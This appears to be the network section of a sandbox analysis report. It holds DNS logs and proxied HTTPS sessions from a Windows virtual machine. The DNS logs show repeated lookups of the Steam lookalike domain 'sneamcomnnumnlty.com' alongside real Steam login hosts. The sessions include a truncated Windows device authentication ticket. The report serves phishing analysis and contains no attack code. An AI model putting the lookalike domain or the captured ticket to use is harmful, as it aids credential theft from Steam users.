Oct 7, 2024 08:46:58.001751900 CEST	192.168.2.6	1.1.1.1	0xaa87	Standard query (0)	steamcommunity.com	65	IN (0x0001)	false
Oct 7, 2024 08:46:59.409763098 CEST	192.168.2.6	1.1.1.1	0xce49	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Oct 7, 2024 08:46:59.473541021 CEST	192.168.2.6	1.1.1.1	0x94cc	Standard query (0)	www.google.com	65	IN (0x0001)	false
Oct 7, 2024 08:46:59.587729931 CEST	192.168.2.6	1.1.1.1	0xcd2d	Standard query (0)	sneamcomnnumnlty.com	A (IP address)	IN (0x0001)	false
Oct 7, 2024 08:46:59.587887049 CEST	192.168.2.6	1.1.1.1	0x23a6	Standard query (0)	sneamcomnnumnlty.com	65	IN (0x0001)	false
Oct 7, 2024 08:47:00.037861109 CEST	192.168.2.6	1.1.1.1	0xeccf	Standard query (0)	steamcommunity.com	A (IP address)	IN (0x0001)	false
Oct 7, 2024 08:47:00.038300991 CEST	192.168.2.6	1.1.1.1	0x8905	Standard query (0)	steamcommunity.com	65	IN (0x0001)	false
Oct 7, 2024 08:47:02.067301989 CEST	192.168.2.6	1.1.1.1	0x5ca4	Standard query (0)	store.akamai.steamstatic.com	A (IP address)	IN (0x0001)	false
Oct 7, 2024 08:47:02.067773104 CEST	192.168.2.6	1.1.1.1	0x177e	Standard query (0)	store.akamai.steamstatic.com	65	IN (0x0001)	false
Oct 7, 2024 08:47:02.265336990 CEST	192.168.2.6	1.1.1.1	0x2fcf	Standard query (0)	cdnjs.cloudflare.com	A (IP address)	IN (0x0001)	false
Oct 7, 2024 08:47:02.265594959 CEST	192.168.2.6	1.1.1.1	0x868a	Standard query (0)	cdnjs.cloudflare.com	65	IN (0x0001)	false
Oct 7, 2024 08:47:02.266293049 CEST	192.168.2.6	1.1.1.1	0x68f3	Standard query (0)	code.jquery.com	A (IP address)	IN (0x0001)	false
Oct 7, 2024 08:47:02.266663074 CEST	192.168.2.6	1.1.1.1	0x1170	Standard query (0)	code.jquery.com	65	IN (0x0001)	false
Oct 7, 2024 08:47:03.382766962 CEST	192.168.2.6	1.1.1.1	0x8e78	Standard query (0)	code.jquery.com	A (IP address)	IN (0x0001)	false
Oct 7, 2024 08:47:03.383248091 CEST	192.168.2.6	1.1.1.1	0x45b8	Standard query (0)	code.jquery.com	65	IN (0x0001)	false
Oct 7, 2024 08:47:03.399405956 CEST	192.168.2.6	1.1.1.1	0xb8ef	Standard query (0)	cdnjs.cloudflare.com	A (IP address)	IN (0x0001)	false
Oct 7, 2024 08:47:03.399684906 CEST	192.168.2.6	1.1.1.1	0x3e86	Standard query (0)	cdnjs.cloudflare.com	65	IN (0x0001)	false
Oct 7, 2024 08:47:04.342114925 CEST	192.168.2.6	1.1.1.1	0x3417	Standard query (0)	store.akamai.steamstatic.com	A (IP address)	IN (0x0001)	false
Oct 7, 2024 08:47:04.342690945 CEST	192.168.2.6	1.1.1.1	0xeced	Standard query (0)	store.akamai.steamstatic.com	65	IN (0x0001)	false
Oct 7, 2024 08:47:06.351563931 CEST	192.168.2.6	1.1.1.1	0xafe3	Standard query (0)	recaptcha.net	A (IP address)	IN (0x0001)	false
Oct 7, 2024 08:47:06.351823092 CEST	192.168.2.6	1.1.1.1	0x29a	Standard query (0)	recaptcha.net	65	IN (0x0001)	false
Oct 7, 2024 08:47:06.354340076 CEST	192.168.2.6	1.1.1.1	0x1e70	Standard query (0)	store.steampowered.com	A (IP address)	IN (0x0001)	false
Oct 7, 2024 08:47:06.354502916 CEST	192.168.2.6	1.1.1.1	0x9e7	Standard query (0)	store.steampowered.com	65	IN (0x0001)	false
Oct 7, 2024 08:47:06.456248045 CEST	192.168.2.6	1.1.1.1	0x1e12	Standard query (0)	cdn.akamai.steamstatic.com	A (IP address)	IN (0x0001)	false
Oct 7, 2024 08:47:06.456806898 CEST	192.168.2.6	1.1.1.1	0xde43	Standard query (0)	cdn.akamai.steamstatic.com	65	IN (0x0001)	false
Oct 7, 2024 08:47:07.293111086 CEST	192.168.2.6	1.1.1.1	0x9f3e	Standard query (0)	recaptcha.net	A (IP address)	IN (0x0001)	false
Oct 7, 2024 08:47:07.293266058 CEST	192.168.2.6	1.1.1.1	0xf6e3	Standard query (0)	recaptcha.net	65	IN (0x0001)	false
Oct 7, 2024 08:47:07.634859085 CEST	192.168.2.6	1.1.1.1	0x15c1	Standard query (0)	a.nel.cloudflare.com	A (IP address)	IN (0x0001)	false
Oct 7, 2024 08:47:07.635062933 CEST	192.168.2.6	1.1.1.1	0xff20	Standard query (0)	a.nel.cloudflare.com	65	IN (0x0001)	false
Oct 7, 2024 08:47:07.980242968 CEST	192.168.2.6	1.1.1.1	0x8cc7	Standard query (0)	cdn.akamai.steamstatic.com	A (IP address)	IN (0x0001)	false
Oct 7, 2024 08:47:07.980771065 CEST	192.168.2.6	1.1.1.1	0x6a2f	Standard query (0)	cdn.akamai.steamstatic.com	65	IN (0x0001)	false
Oct 7, 2024 08:47:18.971303940 CEST	192.168.2.6	1.1.1.1	0x4c1d	Standard query (0)	15.164.165.52.in-addr.arpa	PTR (Pointer record)	IN (0x0001)	false
Oct 7, 2024 08:47:20.248233080 CEST	192.168.2.6	1.1.1.1	0x7903	Standard query (0)	200.163.202.172.in-addr.arpa	PTR (Pointer record)	IN (0x0001)	false
Oct 7, 2024 08:47:31.382970095 CEST	192.168.2.6	1.1.1.1	0x958d	Standard query (0)	sneamcomnnumnlty.com	A (IP address)	IN (0x0001)	false
Oct 7, 2024 08:47:34.133182049 CEST	192.168.2.6	1.1.1.1	0x8899	Standard query (0)	cdn.jsdelivr.net	A (IP address)	IN (0x0001)	false
Oct 7, 2024 08:47:35.065984964 CEST	192.168.2.6	1.1.1.1	0x15a3	Standard query (0)	fonts.cdnfonts.com	A (IP address)	IN (0x0001)	false
Oct 7, 2024 08:47:36.692538977 CEST	192.168.2.6	1.1.1.1	0x3483	Standard query (0)	community.cloudflare.steamstatic.com	A (IP address)	IN (0x0001)	false
Oct 7, 2024 08:47:36.693495035 CEST	192.168.2.6	1.1.1.1	0x555f	Standard query (0)	community.akamai.steamstatic.com	A (IP address)	IN (0x0001)	false
Oct 7, 2024 08:47:41.009470940 CEST	192.168.2.6	1.1.1.1	0xeb3b	Standard query (0)	store.steampowered.com	A (IP address)	IN (0x0001)	false
Oct 7, 2024 08:47:43.023274899 CEST	192.168.2.6	1.1.1.1	0x39aa	Standard query (0)	store.akamai.steamstatic.com	A (IP address)	IN (0x0001)	false
Oct 7, 2024 08:47:56.440267086 CEST	192.168.2.6	1.1.1.1	0xf3e6	Standard query (0)	s.team	A (IP address)	IN (0x0001)	false
Oct 7, 2024 08:47:58.255780935 CEST	192.168.2.6	1.1.1.1	0x9478	Standard query (0)	store.steampowered.com	A (IP address)	IN (0x0001)	false
Oct 7, 2024 08:47:59.237713099 CEST	192.168.2.6	1.1.1.1	0x22b5	Standard query (0)	login.steampowered.com	A (IP address)	IN (0x0001)	false
Oct 7, 2024 08:47:59.377636909 CEST	192.168.2.6	1.1.1.1	0xcc6a	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Oct 7, 2024 08:47:59.880597115 CEST	192.168.2.6	1.1.1.1	0x1388	Standard query (0)	help.steampowered.com	A (IP address)	IN (0x0001)	false
Oct 7, 2024 08:48:00.667175055 CEST	192.168.2.6	1.1.1.1	0x7daa	Standard query (0)	login.steampowered.com	A (IP address)	IN (0x0001)	false
Oct 7, 2024 08:48:01.013716936 CEST	192.168.2.6	1.1.1.1	0xc577	Standard query (0)	api.steampowered.com	A (IP address)	IN (0x0001)	false
Oct 7, 2024 08:48:05.429724932 CEST	192.168.2.6	1.1.1.1	0x8e6a	Standard query (0)	cdn.akamai.steamstatic.com	A (IP address)	IN (0x0001)	false
Oct 7, 2024 08:48:11.992983103 CEST	192.168.2.6	1.1.1.1	0x520e	Standard query (0)	shared.akamai.steamstatic.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 7, 2024 08:46:56.475334883 CEST	1.1.1.1	192.168.2.6	0xdf3e	No error (0)	sneamcomnnumnlty.com		104.21.91.169	A (IP address)	IN (0x0001)	false
Oct 7, 2024 08:46:56.475334883 CEST	1.1.1.1	192.168.2.6	0xdf3e	No error (0)	sneamcomnnumnlty.com		172.67.175.206	A (IP address)	IN (0x0001)	false
Oct 7, 2024 08:46:56.477322102 CEST	1.1.1.1	192.168.2.6	0x36dd	No error (0)	sneamcomnnumnlty.com			65	IN (0x0001)	false
Oct 7, 2024 08:46:58.007225037 CEST	1.1.1.1	192.168.2.6	0xecb	No error (0)	steamcommunity.com		104.102.49.254	A (IP address)	IN (0x0001)	false
Oct 7, 2024 08:46:59.417450905 CEST	1.1.1.1	192.168.2.6	0xce49	No error (0)	www.google.com		216.58.206.68	A (IP address)	IN (0x0001)	false
Oct 7, 2024 08:46:59.480585098 CEST	1.1.1.1	192.168.2.6	0x94cc	No error (0)	www.google.com			65	IN (0x0001)	false
Oct 7, 2024 08:46:59.596487045 CEST	1.1.1.1	192.168.2.6	0xcd2d	No error (0)	sneamcomnnumnlty.com		104.21.91.169	A (IP address)	IN (0x0001)	false
Oct 7, 2024 08:46:59.596487045 CEST	1.1.1.1	192.168.2.6	0xcd2d	No error (0)	sneamcomnnumnlty.com		172.67.175.206	A (IP address)	IN (0x0001)	false
Oct 7, 2024 08:46:59.597161055 CEST	1.1.1.1	192.168.2.6	0x23a6	No error (0)	sneamcomnnumnlty.com			65	IN (0x0001)	false
Oct 7, 2024 08:47:00.044461966 CEST	1.1.1.1	192.168.2.6	0xeccf	No error (0)	steamcommunity.com		104.102.49.254	A (IP address)	IN (0x0001)	false
Oct 7, 2024 08:47:02.074842930 CEST	1.1.1.1	192.168.2.6	0x5ca4	No error (0)	store.akamai.steamstatic.com		95.101.54.105	A (IP address)	IN (0x0001)	false
Oct 7, 2024 08:47:02.074842930 CEST	1.1.1.1	192.168.2.6	0x5ca4	No error (0)	store.akamai.steamstatic.com		95.101.54.217	A (IP address)	IN (0x0001)	false
Oct 7, 2024 08:47:02.272061110 CEST	1.1.1.1	192.168.2.6	0x868a	No error (0)	cdnjs.cloudflare.com			65	IN (0x0001)	false
Oct 7, 2024 08:47:02.272178888 CEST	1.1.1.1	192.168.2.6	0x2fcf	No error (0)	cdnjs.cloudflare.com		104.17.25.14	A (IP address)	IN (0x0001)	false
Oct 7, 2024 08:47:02.272178888 CEST	1.1.1.1	192.168.2.6	0x2fcf	No error (0)	cdnjs.cloudflare.com		104.17.24.14	A (IP address)	IN (0x0001)	false
Oct 7, 2024 08:47:02.272900105 CEST	1.1.1.1	192.168.2.6	0x68f3	No error (0)	code.jquery.com		151.101.130.137	A (IP address)	IN (0x0001)	false
Oct 7, 2024 08:47:02.272900105 CEST	1.1.1.1	192.168.2.6	0x68f3	No error (0)	code.jquery.com		151.101.66.137	A (IP address)	IN (0x0001)	false
Oct 7, 2024 08:47:02.272900105 CEST	1.1.1.1	192.168.2.6	0x68f3	No error (0)	code.jquery.com		151.101.194.137	A (IP address)	IN (0x0001)	false
Oct 7, 2024 08:47:02.272900105 CEST	1.1.1.1	192.168.2.6	0x68f3	No error (0)	code.jquery.com		151.101.2.137	A (IP address)	IN (0x0001)	false
Oct 7, 2024 08:47:03.389338970 CEST	1.1.1.1	192.168.2.6	0x8e78	No error (0)	code.jquery.com		151.101.130.137	A (IP address)	IN (0x0001)	false
Oct 7, 2024 08:47:03.389338970 CEST	1.1.1.1	192.168.2.6	0x8e78	No error (0)	code.jquery.com		151.101.2.137	A (IP address)	IN (0x0001)	false
Oct 7, 2024 08:47:03.389338970 CEST	1.1.1.1	192.168.2.6	0x8e78	No error (0)	code.jquery.com		151.101.66.137	A (IP address)	IN (0x0001)	false
Oct 7, 2024 08:47:03.389338970 CEST	1.1.1.1	192.168.2.6	0x8e78	No error (0)	code.jquery.com		151.101.194.137	A (IP address)	IN (0x0001)	false
Oct 7, 2024 08:47:03.406296968 CEST	1.1.1.1	192.168.2.6	0xb8ef	No error (0)	cdnjs.cloudflare.com		104.17.24.14	A (IP address)	IN (0x0001)	false
Oct 7, 2024 08:47:03.406296968 CEST	1.1.1.1	192.168.2.6	0xb8ef	No error (0)	cdnjs.cloudflare.com		104.17.25.14	A (IP address)	IN (0x0001)	false
Oct 7, 2024 08:47:03.406491995 CEST	1.1.1.1	192.168.2.6	0x3e86	No error (0)	cdnjs.cloudflare.com			65	IN (0x0001)	false
Oct 7, 2024 08:47:04.349905014 CEST	1.1.1.1	192.168.2.6	0x3417	No error (0)	store.akamai.steamstatic.com		2.16.168.5	A (IP address)	IN (0x0001)	false
Oct 7, 2024 08:47:04.349905014 CEST	1.1.1.1	192.168.2.6	0x3417	No error (0)	store.akamai.steamstatic.com		2.16.168.6	A (IP address)	IN (0x0001)	false
Oct 7, 2024 08:47:06.358048916 CEST	1.1.1.1	192.168.2.6	0xafe3	No error (0)	recaptcha.net		142.250.185.131	A (IP address)	IN (0x0001)	false
Oct 7, 2024 08:47:06.361515999 CEST	1.1.1.1	192.168.2.6	0x1e70	No error (0)	store.steampowered.com		95.101.149.47	A (IP address)	IN (0x0001)	false
Oct 7, 2024 08:47:06.463716984 CEST	1.1.1.1	192.168.2.6	0x1e12	No error (0)	cdn.akamai.steamstatic.com		2.16.168.12	A (IP address)	IN (0x0001)	false
Oct 7, 2024 08:47:06.463716984 CEST	1.1.1.1	192.168.2.6	0x1e12	No error (0)	cdn.akamai.steamstatic.com		2.16.168.4	A (IP address)	IN (0x0001)	false
Oct 7, 2024 08:47:07.300318956 CEST	1.1.1.1	192.168.2.6	0x9f3e	No error (0)	recaptcha.net		142.250.74.195	A (IP address)	IN (0x0001)	false
Oct 7, 2024 08:47:07.641872883 CEST	1.1.1.1	192.168.2.6	0x15c1	No error (0)	a.nel.cloudflare.com		35.190.80.1	A (IP address)	IN (0x0001)	false
Oct 7, 2024 08:47:07.987627983 CEST	1.1.1.1	192.168.2.6	0x8cc7	No error (0)	cdn.akamai.steamstatic.com		2.16.164.32	A (IP address)	IN (0x0001)	false
Oct 7, 2024 08:47:07.987627983 CEST	1.1.1.1	192.168.2.6	0x8cc7	No error (0)	cdn.akamai.steamstatic.com		2.16.164.131	A (IP address)	IN (0x0001)	false
Oct 7, 2024 08:47:18.978585958 CEST	1.1.1.1	192.168.2.6	0x4c1d	Name error (3)	15.164.165.52.in-addr.arpa	none	none	PTR (Pointer record)	IN (0x0001)	false
Oct 7, 2024 08:47:20.255367041 CEST	1.1.1.1	192.168.2.6	0x7903	Name error (3)	200.163.202.172.in-addr.arpa	none	none	PTR (Pointer record)	IN (0x0001)	false
Oct 7, 2024 08:47:31.391675949 CEST	1.1.1.1	192.168.2.6	0x958d	No error (0)	sneamcomnnumnlty.com		172.67.175.206	A (IP address)	IN (0x0001)	false
Oct 7, 2024 08:47:31.391675949 CEST	1.1.1.1	192.168.2.6	0x958d	No error (0)	sneamcomnnumnlty.com		104.21.91.169	A (IP address)	IN (0x0001)	false
Oct 7, 2024 08:47:34.139872074 CEST	1.1.1.1	192.168.2.6	0x8899	No error (0)	cdn.jsdelivr.net	cdn.jsdelivr.net.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 7, 2024 08:47:35.073270082 CEST	1.1.1.1	192.168.2.6	0x15a3	No error (0)	fonts.cdnfonts.com		172.67.184.158	A (IP address)	IN (0x0001)	false
Oct 7, 2024 08:47:35.073270082 CEST	1.1.1.1	192.168.2.6	0x15a3	No error (0)	fonts.cdnfonts.com		104.21.72.124	A (IP address)	IN (0x0001)	false
Oct 7, 2024 08:47:36.701874971 CEST	1.1.1.1	192.168.2.6	0x3483	No error (0)	community.cloudflare.steamstatic.com		172.64.145.151	A (IP address)	IN (0x0001)	false
Oct 7, 2024 08:47:36.701874971 CEST	1.1.1.1	192.168.2.6	0x3483	No error (0)	community.cloudflare.steamstatic.com		104.18.42.105	A (IP address)	IN (0x0001)	false
Oct 7, 2024 08:47:36.708209991 CEST	1.1.1.1	192.168.2.6	0x555f	No error (0)	community.akamai.steamstatic.com		2.19.126.223	A (IP address)	IN (0x0001)	false
Oct 7, 2024 08:47:36.708209991 CEST	1.1.1.1	192.168.2.6	0x555f	No error (0)	community.akamai.steamstatic.com		2.19.126.201	A (IP address)	IN (0x0001)	false
Oct 7, 2024 08:47:41.017378092 CEST	1.1.1.1	192.168.2.6	0xeb3b	No error (0)	store.steampowered.com		95.101.149.47	A (IP address)	IN (0x0001)	false
Oct 7, 2024 08:47:43.030009985 CEST	1.1.1.1	192.168.2.6	0x39aa	No error (0)	store.akamai.steamstatic.com		2.16.168.6	A (IP address)	IN (0x0001)	false
Oct 7, 2024 08:47:43.030009985 CEST	1.1.1.1	192.168.2.6	0x39aa	No error (0)	store.akamai.steamstatic.com		2.16.168.12	A (IP address)	IN (0x0001)	false
Oct 7, 2024 08:47:56.460412025 CEST	1.1.1.1	192.168.2.6	0xf3e6	No error (0)	s.team		104.102.22.125	A (IP address)	IN (0x0001)	false
Oct 7, 2024 08:47:58.262747049 CEST	1.1.1.1	192.168.2.6	0x9478	No error (0)	store.steampowered.com		95.101.149.47	A (IP address)	IN (0x0001)	false
Oct 7, 2024 08:47:59.245084047 CEST	1.1.1.1	192.168.2.6	0x22b5	No error (0)	login.steampowered.com		104.102.49.254	A (IP address)	IN (0x0001)	false
Oct 7, 2024 08:47:59.384401083 CEST	1.1.1.1	192.168.2.6	0xcc6a	No error (0)	www.google.com		142.250.186.164	A (IP address)	IN (0x0001)	false
Oct 7, 2024 08:47:59.888112068 CEST	1.1.1.1	192.168.2.6	0x1388	No error (0)	help.steampowered.com		104.102.49.254	A (IP address)	IN (0x0001)	false
Oct 7, 2024 08:48:00.682478905 CEST	1.1.1.1	192.168.2.6	0x7daa	No error (0)	login.steampowered.com		104.102.49.254	A (IP address)	IN (0x0001)	false
Oct 7, 2024 08:48:01.020752907 CEST	1.1.1.1	192.168.2.6	0xc577	No error (0)	api.steampowered.com		104.102.49.254	A (IP address)	IN (0x0001)	false
Oct 7, 2024 08:48:05.441174030 CEST	1.1.1.1	192.168.2.6	0x8e6a	No error (0)	cdn.akamai.steamstatic.com		2.16.238.7	A (IP address)	IN (0x0001)	false
Oct 7, 2024 08:48:05.441174030 CEST	1.1.1.1	192.168.2.6	0x8e6a	No error (0)	cdn.akamai.steamstatic.com		2.16.238.25	A (IP address)	IN (0x0001)	false
Oct 7, 2024 08:48:12.000478983 CEST	1.1.1.1	192.168.2.6	0x520e	No error (0)	shared.akamai.steamstatic.com	shared.akamai.steamstatic.com.edgesuite.net		CNAME (Canonical name)	IN (0x0001)	false

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port
0	192.168.2.6	49714	40.115.3.253	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 06:46:46 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 6e 65 51 55 69 35 45 39 45 6b 71 61 58 4b 4c 36 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 33 39 64 31 31 30 38 33 34 32 38 39 37 30 66 65 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: neQUi5E9EkqaXKL6.1Context: 39d11083428970fe
2024-10-07 06:46:46 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-10-07 06:46:46 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 6e 65 51 55 69 35 45 39 45 6b 71 61 58 4b 4c 36 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 33 39 64 31 31 30 38 33 34 32 38 39 37 30 66 65 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 58 7a 52 6a 32 6f 6f 4f 62 34 2b 52 6e 37 68 30 49 6e 6c 72 69 59 61 37 4c 57 4c 39 75 39 34 43 44 43 4b 77 5a 77 4e 55 56 38 30 58 6d 6d 30 50 51 39 77 43 50 4e 64 45 44 33 6d 69 4e 49 48 31 48 4f 70 4b 50 41 32 54 39 6c 62 75 58 78 47 6e 74 30 50 4d 51 4e 2b 6b 48 47 6f 31 34 4c 61 48 49 61 61 33 72 4e 57 74 72 4e 51 51 4e Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: neQUi5E9EkqaXKL6.2Context: 39d11083428970fe<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAXzRj2ooOb4+Rn7h0InlriYa7LWL9u94CDCKwZwNUV80Xmm0PQ9wCPNdED3miNIH1HOpKPA2T9lbuXxGnt0PMQN+kHGo14LaHIaa3rNWtrNQQN
2024-10-07 06:46:46 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 6e 65 51 55 69 35 45 39 45 6b 71 61 58 4b 4c 36 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 33 39 64 31 31 30 38 33 34 32 38 39 37 30 66 65 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: neQUi5E9EkqaXKL6.3Context: 39d11083428970fe<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-10-07 06:46:46 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-10-07 06:46:46 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 33 69 45 67 6e 7a 73 41 77 6b 71 4d 32 69 65 41 35 39 56 75 58 77 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: 3iEgnzsAwkqM2ieA59VuXw.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
1	192.168.2.6	49715	40.115.3.253	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 06:46:54 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 4d 64 76 53 4e 4c 51 7a 32 45 53 4e 42 54 6d 36 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 64 35 33 31 64 39 33 31 64 36 35 64 34 39 39 33 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: MdvSNLQz2ESNBTm6.1Context: d531d931d65d4993
2024-10-07 06:46:54 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-10-07 06:46:54 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 4d 64 76 53 4e 4c 51 7a 32 45 53 4e 42 54 6d 36 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 64 35 33 31 64 39 33 31 64 36 35 64 34 39 39 33 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 58 7a 52 6a 32 6f 6f 4f 62 34 2b 52 6e 37 68 30 49 6e 6c 72 69 59 61 37 4c 57 4c 39 75 39 34 43 44 43 4b 77 5a 77 4e 55 56 38 30 58 6d 6d 30 50 51 39 77 43 50 4e 64 45 44 33 6d 69 4e 49 48 31 48 4f 70 4b 50 41 32 54 39 6c 62 75 58 78 47 6e 74 30 50 4d 51 4e 2b 6b 48 47 6f 31 34 4c 61 48 49 61 61 33 72 4e 57 74 72 4e 51 51 4e Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: MdvSNLQz2ESNBTm6.2Context: d531d931d65d4993<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAXzRj2ooOb4+Rn7h0InlriYa7LWL9u94CDCKwZwNUV80Xmm0PQ9wCPNdED3miNIH1HOpKPA2T9lbuXxGnt0PMQN+kHGo14LaHIaa3rNWtrNQQN
2024-10-07 06:46:54 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 4d 64 76 53 4e 4c 51 7a 32 45 53 4e 42 54 6d 36 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 64 35 33 31 64 39 33 31 64 36 35 64 34 39 39 33 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: MdvSNLQz2ESNBTm6.3Context: d531d931d65d4993<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
